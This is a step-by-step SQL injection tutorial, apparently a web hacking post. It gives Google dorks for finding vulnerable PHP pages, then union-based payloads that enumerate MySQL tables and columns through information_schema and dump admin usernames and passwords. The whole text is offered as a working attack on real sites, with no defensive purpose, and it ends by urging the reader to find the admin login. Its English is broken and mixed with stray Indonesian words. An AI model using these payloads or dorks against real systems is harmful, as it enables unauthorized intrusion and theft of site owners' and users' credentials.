SQl Injection Full Tutorial [Step By Step]

Keyword you need to know
-------------------------------
Character : ', - 
Comments : /*, --
-------------------------------
Information: "Information_schema" just working our for version 5.x and above 

Google Dork that will be used is ->


"inurl:news.php?id="
"inurl:index.php?id="
"inurl:trainers.php?id="
"inurl:buy.php?category="
"news-article.php?id="
"inurl:article.php?ID="

-------------------------First Step-------------------------

 www.target.com/news.php?id=1
---add the character 'at the end of the url to see if the site is vuln to
sql injection or not.

inject sample code:-

www.target.com/news.php?id=1' 
or
www.target.com/news.php?id=-1

Examples of error messages :-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near line 1

warning: mysql_fetch_array(): supplied argument is not a valid MYSQL
result resource in D:\inetpub\wwwroot\ajpower.net\html\news.php on line

-------------------------Second Step-------------------------

Find the number of tables available in the database.
Add : +order+by+1-- at the end of url
Contoh:

Code:
www.target.com/news.php?id=1+order+by+1-- 
atau
www.target.com/news.php?id=1+order+by+1/* check in stages
www.target.com/news.php?id=1+order+by+2/*
www.target.com/news.php?id=1+order+by+3/* keep looking untill error out

For this tutorial table amount obtained was 3.

-------------------------Third Step-------------------------

Use the Union command to remove the numbers that we use later.
order to be used : +union+select+1,2,3-- end of the url


Example
www.target.com/news.php?id=1+union+select+1,2,3--

Example: number 2 out.

then we enter the version() in number (2),

Example:
www.target.com/news.php?id=1+union+select+1,version(),3--

and the display version will appear in the figures.
Example:
5.1.47-community-log

------
|info|
------ 

version() = to see msql version used
database() = to see the database name used



-------------------------Fourth Step-------------------------

to see, the names of the table that is in the web, order
table_name park in the figures that came out earlier -> (2)
+from+information_schema.tables-- ---> park behind the last digit.

Example:
www.target.com/news.php?id=1+union+select+1,table_name,3+from+information_schema.tables-- 
or we add the command character- in front of the first digit
www.target.com/news.php?id=-1+union+select+1,table_name,3+from+information_schema.tables-- 

-------------------------Step Fifth-------------------------
Remove all content is in the table,

group_concat(table_name) ---> park in the figures that came out earlier (2)
+from+information_schema.tables+where+table_schema=database()-- ---> Put after the last digit.

Contoh:

www.target.com/news.php?id=1+union+select+1,group_concat(table_name),3+from+
information_schema.tables+where+table_schema=database()-- 

-------------------------Step Sixth-------------------------

Exit right content is in TABLE

group_concat(column_name) ---> park in the figures that came out earlier (2)
+from+information_schema.columns+where+table_name=0xResulOfConvertedTextTableAdmin--

(TABLE NAME HAS BEEN PUT IN TO CONVERT HEXADECIMEL)

------
|info|
------ 
Website that can be used to convert the table name to hexadecimel
-----> www.piclist.com/techref/ascii.htm
-----> www.centricle.com/tools/ascii-hex/

Column which we will use as example the table ADMIN
and convert results are 41444D494E

Example:

www.target.com/news.php?id=1+union+select+1,group_concat(column_name),3+from+
information_schema.columns+where+table_name=0x41444D494E-- 

-------------------------Step Seven-------------------------

Remove the contents of the results that we managed to get from table Admin

concat_ws(0x3a,"column names contained in the table ADMIN") ---> park in the figures that came out earlier (2)
+from+Admin-- --> The original column

Contoh:

www.target.com/news.php?id=1+union+select+1,concat_ws(0x3a,id,username,password),3+from+Admin-- 

And we obtain the username and password admin for the website.


Then You Has o Find The Admin Login :)....

More Short Tutorial:-
http://pastebin.com/pVVjSzhF

Categories: SQL , Web Hacking